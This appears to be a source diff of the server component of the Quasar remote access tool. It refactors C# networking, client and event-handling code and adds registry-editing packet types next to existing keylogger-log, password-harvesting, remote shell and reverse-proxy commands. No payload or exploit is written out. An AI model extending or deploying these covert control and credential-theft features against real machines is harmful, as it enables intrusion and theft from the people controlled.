using (FileStream fStream = File.Open(filename, FileMode.Create, FileAccess.Write))
|
||||
{
|
||||
byte[] data = AES.Encrypt(Encoding.UTF8.GetBytes(appendText));
|
||||
fStream.Seek(0, SeekOrigin.Begin);
|
||||
fStream.Write(data, 0, data.Length);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Reads a log file.
|
||||
/// </summary>
|
||||
/// <param name="filename">The filename of the log.</param>
|
||||
public static string ReadLogFile(string filename)
|
||||
{
|
||||
return File.Exists(filename) ? Encoding.UTF8.GetString(AES.Decrypt(File.ReadAllBytes(filename))) : string.Empty;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -8,6 +8,9 @@ namespace xServer.Core.Helper
|
|||
private const int LVM_FIRST = 0x1000;
|
||||
private const int LVM_SETITEMSTATE = LVM_FIRST + 43;
|
||||
|
||||
private const int WM_VSCROLL = 277;
|
||||
private const int SB_PAGEBOTTOM = 7;
|
||||
|
||||
public static int MakeLong(int wLow, int wHigh)
|
||||
{
|
||||
int low = (int)IntLoWord(wLow);
|
||||
|
@ -31,5 +34,10 @@ namespace xServer.Core.Helper
|
|||
};
|
||||
NativeMethods.SendMessageLVItem(handle, LVM_SETITEMSTATE, itemIndex, ref lvItem);
|
||||
}
|
||||
|
||||
public static void ScrollToBottom(IntPtr handle)
|
||||
{
|
||||
NativeMethods.SendMessage(handle, WM_VSCROLL, SB_PAGEBOTTOM, 0);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -44,12 +44,8 @@ namespace xServer.Core.MouseKeyHook.WinApi
|
|||
/// </item>
|
||||
/// </list>
|
||||
/// </remarks>
|
||||
#if IS_X64
|
||||
[FieldOffset(0x22)]
|
||||
#else
|
||||
[FieldOffset(0x16)]
|
||||
#endif
|
||||
public Int16 MouseData;
|
||||
[FieldOffset(0x16)] public Int16 MouseData_x86;
|
||||
[FieldOffset(0x22)] public Int16 MouseData_x64;
|
||||
|
||||
/// <summary>
|
||||
/// Converts the current <see cref="AppMouseStruct" /> into a <see cref="MouseStruct" />.
|
||||
|
@ -62,7 +58,7 @@ namespace xServer.Core.MouseKeyHook.WinApi
|
|||
{
|
||||
MouseStruct tmp = new MouseStruct();
|
||||
tmp.Point = Point;
|
||||
tmp.MouseData = MouseData;
|
||||
tmp.MouseData = (IntPtr.Size == 4) ? MouseData_x86 : MouseData_x64;
|
||||
tmp.Timestamp = Environment.TickCount;
|
||||
return tmp;
|
||||
}
|
||||
|
|
|
@ -7,12 +7,11 @@ using System.Threading;
|
|||
using xServer.Core.Compression;
|
||||
using xServer.Core.Cryptography;
|
||||
using xServer.Core.Extensions;
|
||||
using xServer.Core.NetSerializer;
|
||||
using xServer.Core.Packets;
|
||||
|
||||
namespace xServer.Core.Networking
|
||||
{
|
||||
public class Client
|
||||
public class Client : IEquatable<Client>
|
||||
{
|
||||
/// <summary>
|
||||
/// Occurs when the state of the client changes.
|
||||
|
@ -36,9 +35,10 @@ namespace xServer.Core.Networking
|
|||
|
||||
Connected = connected;
|
||||
|
||||
if (ClientState != null)
|
||||
var handler = ClientState;
|
||||
if (handler != null)
|
||||
{
|
||||
ClientState(this, connected);
|
||||
handler(this, connected);
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -61,9 +61,10 @@ namespace xServer.Core.Networking
|
|||
/// <param name="packet">The packet that received by the client.</param>
|
||||
private void OnClientRead(IPacket packet)
|
||||
{
|
||||
if (ClientRead != null)
|
||||
var handler = ClientRead;
|
||||
if (handler != null)
|
||||
{
|
||||
ClientRead(this, packet);
|
||||
handler(this, packet);
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -89,9 +90,10 @@ namespace xServer.Core.Networking
|
|||
/// <param name="rawData">The packet in raw bytes.</param>
|
||||
private void OnClientWrite(IPacket packet, long length, byte[] rawData)
|
||||
{
|
||||
if (ClientWrite != null)
|
||||
var handler = ClientWrite;
|
||||
if (handler != null)
|
||||
{
|
||||
ClientWrite(this, packet, length, rawData);
|
||||
handler(this, packet, length, rawData);
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -99,12 +101,13 @@ namespace xServer.Core.Networking
|
|||
/// Checks whether the clients are equal.
|
||||
/// </summary>
|
||||
/// <param name="c">Client to compare with.</param>
|
||||
/// <returns></returns>
|
||||
/// <returns>True if equal, else False.</returns>
|
||||
public bool Equals(Client c)
|
||||
{
|
||||
try
|
||||
{
|
||||
return this.EndPoint.Port == c.EndPoint.Port; // this port is always unique for each client
|
||||
// the port is always unique for each client
|
||||
return this.EndPoint.Port.Equals(c.EndPoint.Port);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
|
@ -112,6 +115,20 @@ namespace xServer.Core.Networking
|
|||
}
|
||||
}
|
||||
|
||||
public override bool Equals(object obj)
|
||||
{
|
||||
return this.Equals(obj as Client);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Returns the hashcode for this instance.
|
||||
/// </summary>
|
||||
/// <returns>A hash code for the current instance.</returns>
|
||||
public override int GetHashCode()
|
||||
{
|
||||
return this.EndPoint.Port.GetHashCode();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// The type of the packet received.
|
||||
/// </summary>
|
||||
|
@ -219,29 +236,17 @@ namespace xServer.Core.Networking
|
|||
/// </summary>
|
||||
private bool _appendHeader;
|
||||
|
||||
/// <summary>
|
||||
/// The packet serializer.
|
||||
/// </summary>
|
||||
private Serializer _serializer;
|
||||
|
||||
private const bool encryptionEnabled = true;
|
||||
private const bool compressionEnabled = true;
|
||||
|
||||
public Client()
|
||||
{
|
||||
}
|
||||
|
||||
internal Client(Server server, Socket sock, Type[] packets)
|
||||
public Client(Server parentServer, Socket socket)
|
||||
{
|
||||
try
|
||||
{
|
||||
_parentServer = server;
|
||||
_parentServer.AddClient(this);
|
||||
AddTypesToSerializer(packets);
|
||||
if (_serializer == null) throw new Exception("Serializer not initialized");
|
||||
_parentServer = parentServer;
|
||||
Initialize();
|
||||
|
||||
_handle = sock;
|
||||
_handle = socket;
|
||||
_handle.SetKeepAliveEx(_parentServer.KEEP_ALIVE_INTERVAL, _parentServer.KEEP_ALIVE_TIME);
|
||||
|
||||
EndPoint = (IPEndPoint)_handle.RemoteEndPoint;
|
||||
|
@ -253,7 +258,7 @@ namespace xServer.Core.Networking
|
|||
_handle.BeginReceive(_readBuffer, 0, _readBuffer.Length, SocketFlags.None, AsyncReceive, null);
|
||||
OnClientState(true);
|
||||
}
|
||||
catch
|
||||
catch (Exception)
|
||||
{
|
||||
Disconnect();
|
||||
}
|
||||
|
@ -267,54 +272,55 @@ namespace xServer.Core.Networking
|
|||
|
||||
private void AsyncReceive(IAsyncResult result)
|
||||
{
|
||||
int bytesTransferred;
|
||||
|
||||
try
|
||||
{
|
||||
int bytesTransferred;
|
||||
bytesTransferred = _handle.EndReceive(result);
|
||||
|
||||
try
|
||||
{
|
||||
bytesTransferred = _handle.EndReceive(result);
|
||||
|
||||
if (bytesTransferred <= 0)
|
||||
{
|
||||
Disconnect();
|
||||
return;
|
||||
}
|
||||
}
|
||||
catch (NullReferenceException)
|
||||
{
|
||||
return;
|
||||
}
|
||||
catch (ObjectDisposedException)
|
||||
{
|
||||
return;
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
Disconnect();
|
||||
return;
|
||||
}
|
||||
|
||||
_parentServer.BytesReceived += bytesTransferred;
|
||||
|
||||
byte[] received = new byte[bytesTransferred];
|
||||
Array.Copy(_readBuffer, received, received.Length);
|
||||
lock (_readBuffers)
|
||||
{
|
||||
_readBuffers.Enqueue(received);
|
||||
}
|
||||
|
||||
lock (_readingPacketsLock)
|
||||
{
|
||||
if (!_readingPackets)
|
||||
{
|
||||
_readingPackets = true;
|
||||
ThreadPool.QueueUserWorkItem(AsyncReceive);
|
||||
}
|
||||
}
|
||||
if (bytesTransferred <= 0)
|
||||
throw new Exception("no bytes transferred");
|
||||
}
|
||||
catch
|
||||
catch (NullReferenceException)
|
||||
{
|
||||
return;
|
||||
}
|
||||
catch (ObjectDisposedException)
|
||||
{
|
||||
return;
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
Disconnect();
|
||||
return;
|
||||
}
|
||||
|
||||
_parentServer.BytesReceived += bytesTransferred;
|
||||
|
||||
byte[] received = new byte[bytesTransferred];
|
||||
|
||||
try
|
||||
{
|
||||
Array.Copy(_readBuffer, received, received.Length);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
Disconnect();
|
||||
return;
|
||||
}
|
||||
|
||||
lock (_readBuffers)
|
||||
{
|
||||
_readBuffers.Enqueue(received);
|
||||
}
|
||||
|
||||
lock (_readingPacketsLock)
|
||||
{
|
||||
if (!_readingPackets)
|
||||
{
|
||||
_readingPackets = true;
|
||||
ThreadPool.QueueUserWorkItem(AsyncReceive);
|
||||
}
|
||||
}
|
||||
|
||||
try
|
||||
|
@ -324,7 +330,7 @@ namespace xServer.Core.Networking
|
|||
catch (ObjectDisposedException)
|
||||
{
|
||||
}
|
||||
catch
|
||||
catch (Exception)
|
||||
{
|
||||
Disconnect();
|
||||
}
|
||||
|
@ -485,7 +491,7 @@ namespace xServer.Core.Networking
|
|||
{
|
||||
try
|
||||
{
|
||||
IPacket packet = (IPacket)_serializer.Deserialize(deserialized);
|
||||
IPacket packet = (IPacket)_parentServer.Serializer.Deserialize(deserialized);
|
||||
|
||||
OnClientRead(packet);
|
||||
}
|
||||
|
@ -527,33 +533,35 @@ namespace xServer.Core.Networking
|
|||
/// <param name="packet">The packet to be send.</param>
|
||||
public void Send<T>(T packet) where T : IPacket
|
||||
{
|
||||
if (!Connected) return;
|
||||
if (!Connected || packet == null) return;
|
||||
|
||||
lock (_sendBuffers)
|
||||
{
|
||||
try
|
||||
using (MemoryStream ms = new MemoryStream())
|
||||
{
|
||||
using (MemoryStream ms = new MemoryStream())
|
||||
try
|
||||
{
|
||||
_serializer.Serialize(ms, packet);
|
||||
|
||||
byte[] payload = ms.ToArray();
|
||||
|
||||
_sendBuffers.Enqueue(payload);
|
||||
|
||||
OnClientWrite(packet, payload.LongLength, payload);
|
||||
|
||||
lock (_sendingPacketsLock)
|
||||
{
|
||||
if (_sendingPackets) return;
|
||||
|
||||
_sendingPackets = true;
|
||||
}
|
||||
ThreadPool.QueueUserWorkItem(Send);
|
||||
_parentServer.Serializer.Serialize(ms, packet);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
catch (Exception)
|
||||
{
|
||||
Disconnect();
|
||||
return;
|
||||
}
|
||||
|
||||
byte[] payload = ms.ToArray();
|
||||
|
||||
_sendBuffers.Enqueue(payload);
|
||||
|
||||
OnClientWrite(packet, payload.LongLength, payload);
|
||||
|
||||
lock (_sendingPacketsLock)
|
||||
{
|
||||
if (_sendingPackets) return;
|
||||
|
||||
_sendingPackets = true;
|
||||
}
|
||||
ThreadPool.QueueUserWorkItem(Send);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -662,23 +670,11 @@ namespace xServer.Core.Networking
|
|||
Value.Dispose();
|
||||
Value = null;
|
||||
}
|
||||
|
||||
if (_parentServer.BufferManager != null)
|
||||
_parentServer.BufferManager.ReturnBuffer(_readBuffer);
|
||||
|
||||
_parentServer.BufferManager.ReturnBuffer(_readBuffer);
|
||||
}
|
||||
|
||||
_parentServer.RemoveClient(this);
|
||||
|
||||
OnClientState(false);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Adds Types to the serializer.
|
||||
/// </summary>
|
||||
/// <param name="types">Types to add.</param>
|
||||
public void AddTypesToSerializer(Type[] types)
|
||||
{
|
||||
_serializer = new Serializer(types);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,15 +1,20 @@
|
|||
using System;
|
||||
using System.Linq;
|
||||
using xServer.Core.Commands;
|
||||
using xServer.Core.NetSerializer;
|
||||
using xServer.Core.Packets;
|
||||
|
||||
namespace xServer.Core.Networking
|
||||
{
|
||||
public class ServerHandler : Server
|
||||
public class QuasarServer : Server
|
||||
{
|
||||
/// <summary>
|
||||
/// The amount of currently connected and authenticated clients.
|
||||
/// Gets the clients currently connected and authenticated to the server.
|
||||
/// </summary>
|
||||
public int ConnectedClients { get; private set; }
|
||||
public Client[] ConnectedClients
|
||||
{
|
||||
get { return Clients.Where(c => c != null && c.Authenticated).ToArray(); }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Occurs when a client connected.
|
||||
|
@ -28,9 +33,11 @@ namespace xServer.Core.Networking
|
|||
/// <param name="client">The connected client.</param>
|
||||
private void OnClientConnected(Client client)
|
||||
{
|
||||
if (ClientConnected != null)
|
||||
if (ProcessingDisconnect || !Listening) return;
|
||||
var handler = ClientConnected;
|
||||
if (handler != null)
|
||||
{
|
||||
ClientConnected(client);
|
||||
handler(client);
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -51,18 +58,20 @@ namespace xServer.Core.Networking
|
|||
/// <param name="client">The disconnected client.</param>
|
||||
private void OnClientDisconnected(Client client)
|
||||
{
|
||||
if (ClientDisconnected != null)
|
||||
if (ProcessingDisconnect || !Listening) return;
|
||||
var handler = ClientDisconnected;
|
||||
if (handler != null)
|
||||
{
|
||||
ClientDisconnected(client);
|
||||
handler(client);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Constructor, initializes required objects and subscribes to events of the server.
|
||||
/// </summary>
|
||||
public ServerHandler()
|
||||
public QuasarServer() : base()
|
||||
{
|
||||
base.AddTypesToSerializer(new Type[]
|
||||
base.Serializer = new Serializer(new Type[]
|
||||
{
|
||||
typeof (Packets.ServerPackets.GetAuthentication),
|
||||
typeof (Packets.ServerPackets.DoClientDisconnect),
|
||||
|
@ -95,6 +104,14 @@ namespace xServer.Core.Networking
|
|||
typeof (Packets.ServerPackets.GetKeyloggerLogs),
|
||||
typeof (Packets.ServerPackets.DoUploadFile),
|
||||
typeof (Packets.ServerPackets.GetPasswords),
|
||||
typeof (Packets.ServerPackets.DoLoadRegistryKey),
|
||||
typeof (Packets.ServerPackets.DoCreateRegistryKey),
|
||||
typeof (Packets.ServerPackets.DoDeleteRegistryKey),
|
||||
typeof (Packets.ServerPackets.DoRenameRegistryKey),
|
||||
typeof (Packets.ServerPackets.DoCreateRegistryValue),
|
||||
typeof (Packets.ServerPackets.DoDeleteRegistryValue),
|
||||
typeof (Packets.ServerPackets.DoRenameRegistryValue),
|
||||
typeof (Packets.ServerPackets.DoChangeRegistryValue),
|
||||
typeof (Packets.ServerPackets.SetAuthenticationSuccess),
|
||||
typeof (Packets.ClientPackets.GetAuthenticationResponse),
|
||||
typeof (Packets.ClientPackets.SetStatus),
|
||||
|
@ -111,14 +128,22 @@ namespace xServer.Core.Networking
|
|||
typeof (Packets.ClientPackets.GetStartupItemsResponse),
|
||||
typeof (Packets.ClientPackets.GetKeyloggerLogsResponse),
|
||||
typeof (Packets.ClientPackets.GetPasswordsResponse),
|
||||
typeof (Packets.ClientPackets.GetRegistryKeysResponse),
|
||||
typeof (Packets.ClientPackets.GetCreateRegistryKeyResponse),
|
||||
typeof (Packets.ClientPackets.GetDeleteRegistryKeyResponse),
|
||||
typeof (Packets.ClientPackets.GetRenameRegistryKeyResponse),
|
||||
typeof (Packets.ClientPackets.GetCreateRegistryValueResponse),
|
||||
typeof (Packets.ClientPackets.GetDeleteRegistryValueResponse),
|
||||
typeof (Packets.ClientPackets.GetRenameRegistryValueResponse),
|
||||
typeof (Packets.ClientPackets.GetChangeRegistryValueResponse),
|
||||
typeof (ReverseProxy.Packets.ReverseProxyConnect),
|
||||
typeof (ReverseProxy.Packets.ReverseProxyConnectResponse),
|
||||
typeof (ReverseProxy.Packets.ReverseProxyData),
|
||||
typeof (ReverseProxy.Packets.ReverseProxyDisconnect)
|
||||
});
|
||||
|
||||
base.ClientState += ClientStateHandler;
|
||||
base.ClientRead += ClientReadHandler;
|
||||
base.ClientState += OnClientState;
|
||||
base.ClientRead += OnClientRead;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
|
@ -127,7 +152,7 @@ namespace xServer.Core.Networking
|
|||
/// <param name="server">The server the client is connected to.</param>
|
||||
/// <param name="client">The client which changed its state.</param>
|
||||
/// <param name="connected">True if the client connected, false if disconnected.</param>
|
||||
private void ClientStateHandler(Server server, Client client, bool connected)
|
||||
private void OnClientState(Server server, Client client, bool connected)
|
||||
{
|
||||
switch (connected)
|
||||
{
|
||||
|
@ -137,7 +162,6 @@ namespace xServer.Core.Networking
|
|||
case false:
|
||||
if (client.Authenticated)
|
||||
{
|
||||
ConnectedClients--;
|
||||
OnClientDisconnected(client);
|
||||
}
|
||||
break;
|
||||
|
@ -150,7 +174,7 @@ namespace xServer.Core.Networking
|
|||
/// <param name="server">The server the client is connected to.</param>
|
||||
/// <param name="client">The client which has received the packet.</param>
|
||||
/// <param name="packet">The received packet.</param>
|
||||
private void ClientReadHandler(Server server, Client client, IPacket packet)
|
||||
private void OnClientRead(Server server, Client client, IPacket packet)
|
||||
{
|
||||
var type = packet.GetType();
|
||||
|
||||
|
@ -159,7 +183,6 @@ namespace xServer.Core.Networking
|
|||
if (type == typeof (Packets.ClientPackets.GetAuthenticationResponse))
|
||||
{
|
||||
client.Authenticated = true;
|
||||
ConnectedClients++;
|
||||
new Packets.ServerPackets.SetAuthenticationSuccess().Execute(client); // finish handshake
|
||||
CommandHandler.HandleGetAuthenticationResponse(client,
|
||||
(Packets.ClientPackets.GetAuthenticationResponse) packet);
|
|
@ -1,10 +1,10 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Net;
|
||||
using System.Net.Sockets;
|
||||
using System.Windows.Forms;
|
||||
using xServer.Core.Data;
|
||||
using xServer.Core.NetSerializer;
|
||||
using xServer.Core.Networking.Utilities;
|
||||
using xServer.Core.Packets;
|
||||
|
||||
|
@ -35,16 +35,17 @@ namespace xServer.Core.Networking
|
|||
|
||||
Listening = listening;
|
||||
|
||||
if (ServerState != null)
|
||||
var handler = ServerState;
|
||||
if (handler != null)
|
||||
{
|
||||
ServerState(this, listening, Port);
|
||||
handler(this, listening, Port);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Occurs when the state of a client changes.
|
||||
/// </summary>
|
||||
protected event ClientStateEventHandler ClientState;
|
||||
public event ClientStateEventHandler ClientState;
|
||||
|
||||
/// <summary>
|
||||
/// Represents a method that will handle a change in a client's state.
|
||||
|
@ -52,7 +53,7 @@ namespace xServer.Core.Networking
|
|||
/// <param name="s">The server, the client is connected to.</param>
|
||||
/// <param name="c">The client which changed its state.</param>
|
||||
/// <param name="connected">The new connection state of the client.</param>
|
||||
protected delegate void ClientStateEventHandler(Server s, Client c, bool connected);
|
||||
public delegate void ClientStateEventHandler(Server s, Client c, bool connected);
|
||||
|
||||
/// <summary>
|
||||
/// Fires an event that informs subscribers that a client has changed its state.
|
||||
|
@ -61,16 +62,21 @@ namespace xServer.Core.Networking
|
|||
/// <param name="connected">The new connection state of the client.</param>
|
||||
private void OnClientState(Client c, bool connected)
|
||||
{
|
||||
if (ClientState != null)
|
||||
var handler = ClientState;
|
||||
|
||||
if (!connected)
|
||||
RemoveClient(c);
|
||||
|
||||
if (handler != null)
|
||||
{
|
||||
ClientState(this, c, connected);
|
||||
handler(this, c, connected);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Occurs when a packet is received by a client.
|
||||
/// </summary>
|
||||
protected event ClientReadEventHandler ClientRead;
|
||||
public event ClientReadEventHandler ClientRead;
|
||||
|
||||
/// <summary>
|
||||
/// Represents a method that will handle a packet received from a client.
|
||||
|
@ -78,7 +84,7 @@ namespace xServer.Core.Networking
|
|||
/// <param name="s">The server, the client is connected to.</param>
|
||||
/// <param name="c">The client that has received the packet.</param>
|
||||
/// <param name="packet">The packet that received by the client.</param>
|
||||
protected delegate void ClientReadEventHandler(Server s, Client c, IPacket packet);
|
||||
public delegate void ClientReadEventHandler(Server s, Client c, IPacket packet);
|
||||
|
||||
/// <summary>
|
||||
/// Fires an event that informs subscribers that a packet has been
|
||||
|
@ -88,16 +94,17 @@ namespace xServer.Core.Networking
|
|||
/// <param name="packet">The packet that received by the client.</param>
|
||||
private void OnClientRead(Client c, IPacket packet)
|
||||
{
|
||||
if (ClientRead != null)
|
||||
var handler = ClientRead;
|
||||
if (handler != null)
|
||||
{
|
||||
ClientRead(this, c, packet);
|
||||
handler(this, c, packet);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Occurs when a packet is sent by a client.
|
||||
/// </summary>
|
||||
protected event ClientWriteEventHandler ClientWrite;
|
||||
public event ClientWriteEventHandler ClientWrite;
|
||||
|
||||
/// <summary>
|
||||
/// Represents the method that will handle the sent packet by a client.
|
||||
|
@ -107,7 +114,7 @@ namespace xServer.Core.Networking
|
|||
/// <param name="packet">The packet that has been sent by the client.</param>
|
||||
/// <param name="length">The length of the packet.</param>
|
||||
/// <param name="rawData">The packet in raw bytes.</param>
|
||||
protected delegate void ClientWriteEventHandler(Server s, Client c, IPacket packet, long length, byte[] rawData);
|
||||
public delegate void ClientWriteEventHandler(Server s, Client c, IPacket packet, long length, byte[] rawData);
|
||||
|
||||
/// <summary>
|
||||
/// Fires an event that informs subscribers that the client has sent a packet.
|
||||
|
@ -118,9 +125,10 @@ namespace xServer.Core.Networking
|
|||
/// <param name="rawData">The packet in raw bytes.</param>
|
||||
private void OnClientWrite(Client c, IPacket packet, long length, byte[] rawData)
|
||||
{
|
||||
if (ClientWrite != null)
|
||||
var handler = ClientWrite;
|
||||
if (handler != null)
|
||||
{
|
||||
ClientWrite(this, c, packet, length, rawData);
|
||||
handler(this, c, packet, length, rawData);
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -175,20 +183,24 @@ namespace xServer.Core.Networking
|
|||
public bool Listening { get; private set; }
|
||||
|
||||
/// <summary>
|
||||
/// Gets the clients currently connected to the server, or an empty array of
|
||||
/// clients if the server is currently not listening.
|
||||
/// Gets the clients currently connected to the server.
|
||||
/// </summary>
|
||||
public Client[] Clients
|
||||
protected Client[] Clients
|
||||
{
|
||||
get
|
||||
{
|
||||
lock (_clientsLock)
|
||||
{
|
||||
return Listening ? _clients.ToArray() : new Client[0];
|
||||
return _clients.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// The packet serializer.
|
||||
/// </summary>
|
||||
public Serializer Serializer { get; protected set; }
|
||||
|
||||
/// <summary>
|
||||
/// Handle of the Server Socket.
|
||||
/// </summary>
|
||||
|
@ -209,22 +221,18 @@ namespace xServer.Core.Networking
|
|||
/// </summary>
|
||||
private readonly object _clientsLock = new object();
|
||||
|
||||
/// <summary>
|
||||
/// List of all supported Packet Types by the server.
|
||||
/// </summary>
|
||||
private List<Type> PacketTypes { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// Determines if the server is currently processing Disconnect method.
|
||||
/// </summary>
|
||||
private bool _processing;
|
||||
protected bool ProcessingDisconnect { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// Constructor of the server, initializes variables.
|
||||
/// </summary>
|
||||
public Server()
|
||||
protected Server()
|
||||
{
|
||||
PacketTypes = new List<Type>();
|
||||
_clients = new List<Client>();
|
||||
BufferManager = new PooledBufferManager(BUFFER_SIZE, 1) { ClearOnReturn = false };
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
|
@ -233,37 +241,34 @@ namespace xServer.Core.Networking
|
|||
/// <param name="port">Port to listen for clients on.</param>
|
||||
public void Listen(ushort port)
|
||||
{
|
||||
if (PacketTypes.Count == 0) throw new Exception("No packet types added");
|
||||
|
||||
this.Port = port;
|
||||
try
|
||||
{
|
||||
if (!Listening)
|
||||
{
|
||||
lock (_clientsLock)
|
||||
{
|
||||
_clients = new List<Client>();
|
||||
}
|
||||
|
||||
_item = new SocketAsyncEventArgs();
|
||||
_item.Completed += AcceptClient;
|
||||
|
||||
if (_handle != null)
|
||||
{
|
||||
_handle.Close();
|
||||
_handle = null;
|
||||
}
|
||||
|
||||
if (BufferManager == null)
|
||||
BufferManager = new PooledBufferManager(BUFFER_SIZE, 1) { ClearOnReturn = true };
|
||||
|
||||
_handle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
|
||||
_handle.Bind(new IPEndPoint(IPAddress.Any, port));
|
||||
_handle.Listen(1000);
|
||||
|
||||
_processing = false;
|
||||
ProcessingDisconnect = false;
|
||||
|
||||
OnServerState(true);
|
||||
|
||||
if (_item != null)
|
||||
{
|
||||
_item.Dispose();
|
||||
_item = null;
|
||||
}
|
||||
|
||||
_item = new SocketAsyncEventArgs();
|
||||
_item.Completed += AcceptClient;
|
||||
|
||||
if (!_handle.AcceptAsync(_item))
|
||||
AcceptClient(null, _item);
|
||||
}
|
||||
|
@ -290,17 +295,7 @@ namespace xServer.Core.Networking
|
|||
}
|
||||
|
||||
/// <summary>
|
||||
/// Adds Types to the serializer.
|
||||
/// </summary>
|
||||
/// <param name="types">Types to add.</param>
|
||||
public void AddTypesToSerializer(Type[] types)
|
||||
{
|
||||
PacketTypes.AddRange(types.Where(t => t != null));
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Processes an incoming client; adding the client to the list of clients,
|
||||
/// hooking up the client's events, and finally accepts the client.
|
||||
/// Processes and accepts an incoming client.
|
||||
/// </summary>
|
||||
/// <param name="s">Unused, use null.</param>
|
||||
/// <param name="e">Asynchronously Socket Event</param>
|
||||
|
@ -316,10 +311,8 @@ namespace xServer.Core.Networking
|
|||
if (BufferManager.BuffersAvailable == 0)
|
||||
BufferManager.IncreaseBufferCount(1);
|
||||
|
||||
Client client = new Client(this, e.AcceptSocket, PacketTypes.ToArray());
|
||||
client.ClientState += OnClientState;
|
||||
client.ClientRead += OnClientRead;
|
||||
client.ClientWrite += OnClientWrite;
|
||||
Client client = new Client(this, e.AcceptSocket);
|
||||
AddClient(client);
|
||||
OnClientState(client, true);
|
||||
break;
|
||||
case SocketError.ConnectionReset:
|
||||
|
@ -341,45 +334,36 @@ namespace xServer.Core.Networking
|
|||
}
|
||||
|
||||
/// <summary>
|
||||
/// Adds a connected client to the list of clients.
|
||||
/// Adds a connected client to the list of clients,
|
||||
/// subscribes to the client's events.
|
||||
/// </summary>
|
||||
/// <param name="client">The client to add.</param>
|
||||
public void AddClient(Client client)
|
||||
private void AddClient(Client client)
|
||||
{
|
||||
lock (_clientsLock)
|
||||
{
|
||||
client.ClientState += OnClientState;
|
||||
client.ClientRead += OnClientRead;
|
||||
client.ClientWrite += OnClientWrite;
|
||||
_clients.Add(client);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Removes a disconnected client from the list of clients.
|
||||
/// Removes a disconnected client from the list of clients,
|
||||
/// unsubscribes from the client's events.
|
||||
/// </summary>
|
||||
/// <param name="client">The client to remove.</param>
|
||||
public void RemoveClient(Client client)
|
||||
private void RemoveClient(Client client)
|
||||
{
|
||||
if (_processing) return;
|
||||
if (ProcessingDisconnect) return;
|
||||
|
||||
lock (_clientsLock)
|
||||
{
|
||||
int index = -1;
|
||||
for (int i = 0; i < _clients.Count; i++)
|
||||
if (_clients[i].Equals(client))
|
||||
{
|
||||
index = i;
|
||||
break;
|
||||
}
|
||||
|
||||
if (index < 0)
|
||||
return;
|
||||
|
||||
try
|
||||
{
|
||||
_clients.RemoveAt(index);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
client.ClientState -= OnClientState;
|
||||
client.ClientRead -= OnClientRead;
|
||||
client.ClientWrite -= OnClientWrite;
|
||||
_clients.Remove(client);
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -389,8 +373,8 @@ namespace xServer.Core.Networking
|
|||
/// </summary>
|
||||
public void Disconnect()
|
||||
{
|
||||
if (_processing) return;
|
||||
_processing = true;
|
||||
if (ProcessingDisconnect) return;
|
||||
ProcessingDisconnect = true;
|
||||
|
||||
if (_handle != null)
|
||||
{
|
||||
|
@ -398,25 +382,31 @@ namespace xServer.Core.Networking
|
|||
_handle = null;
|
||||
}
|
||||
|
||||
if (_item != null)
|
||||
{
|
||||
_item.Dispose();
|
||||
_item = null;
|
||||
}
|
||||
|
||||
lock (_clientsLock)
|
||||
{
|
||||
if (_clients != null)
|
||||
while (_clients.Count != 0)
|
||||
{
|
||||
while (_clients.Count != 0)
|
||||
try
|
||||
{
|
||||
_clients[0].Disconnect();
|
||||
_clients[0].ClientState -= OnClientState;
|
||||
_clients[0].ClientRead -= OnClientRead;
|
||||
_clients[0].ClientWrite -= OnClientWrite;
|
||||
_clients.RemoveAt(0);
|
||||
}
|
||||
catch
|
||||
{
|
||||
try
|
||||
{
|
||||
_clients[0].Disconnect();
|
||||
_clients.RemoveAt(0);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
_processing = false;
|
||||
ProcessingDisconnect = false;
|
||||
OnServerState(false);
|
||||
}
|
||||
}
|
||||
|
|
|
@ -27,6 +27,7 @@ namespace xServer.Core.Networking
|
|||
public FrmRemoteDesktop FrmRdp { get; set; }
|
||||
public FrmTaskManager FrmTm { get; set; }
|
||||
public FrmFileManager FrmFm { get; set; }
|
||||
public FrmRegistryEditor FrmRe { get; set; }
|
||||
public FrmSystemInformation FrmSi { get; set; }
|
||||
public FrmRemoteShell FrmRs { get; set; }
|
||||
public FrmStartupManager FrmStm { get; set; }
|
||||
|
@ -82,6 +83,8 @@ namespace xServer.Core.Networking
|
|||
FrmTm.Invoke((MethodInvoker)delegate { FrmTm.Close(); });
|
||||
if (FrmFm != null)
|
||||
FrmFm.Invoke((MethodInvoker)delegate { FrmFm.Close(); });
|
||||
